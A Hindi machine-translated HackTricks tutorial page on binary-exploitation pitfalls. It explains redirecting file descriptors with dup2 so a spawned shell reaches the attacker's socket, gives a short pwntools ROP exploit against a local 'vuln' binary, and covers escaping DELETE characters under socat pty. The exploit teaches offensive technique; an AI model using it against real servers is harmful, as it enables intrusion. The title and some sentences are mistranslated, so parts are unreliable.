4.9 KiB
सामान्य अनुशासन समस्याएं
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो (https://github.com/carlospolop/hacktricks) और hacktricks-cloud रेपो को PR जमा करके.
दूरस्थ शोषण में एफडीs
जब एक एक्सप्लॉइट को एक रिमोट सर्वर पर भेजा जाता है जो system('/bin/sh')
को कॉल करता है, तो यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh
stdin से इनपुट की उम्मीद करेगा (FD: 0
) और stdout और stderr में आउटपुट प्रिंट करेगा (FDs 1
और 2
)। इसलिए हमलावर शैली से शैल से संवाद करने में सक्षम नहीं होगा।
इसे ठीक करने का एक तरीका यह है कि समझा जाए कि जब सर्वर शुरू हुआ तो यहने FD नंबर 3
(सुनने के लिए) बनाया था और फिर, आपका कनेक्शन FD नंबर 4
में होगा। इसलिए, यह संभावना है कि सिस्टम कॉल dup2
का उपयोग करना है ताकि stdin (FD 0) और stdout (FD 1) को FD 4 में डुप्लिकेट किया जा सके (हमलावर के कनेक्शन का एक) इसलिए इसे निष्पादित होने पर शैल से संपर्क करने में सक्षम होगा।
यहाँ से एक्सप्लॉइट उदाहरण देखें:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat और pty
ध्यान दें कि socat पहले से ही stdin
और stdout
को सॉकेट पर स्थानांतरित कर देता है। हालांकि, pty
मोड DELETE वर्णों को शामिल करता है। इसलिए, अगर आप \x7f
( DELETE
-) भेजते हैं तो यह आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा।
इसे इसको अनदर गुम करने के लिए भागने वाला वर्ण \x16
किसी भी \x7f
के साथ भेजा जाना चाहिए।
यहाँ आप इस व्यवहार का एक उदाहरण पा सकते हैं।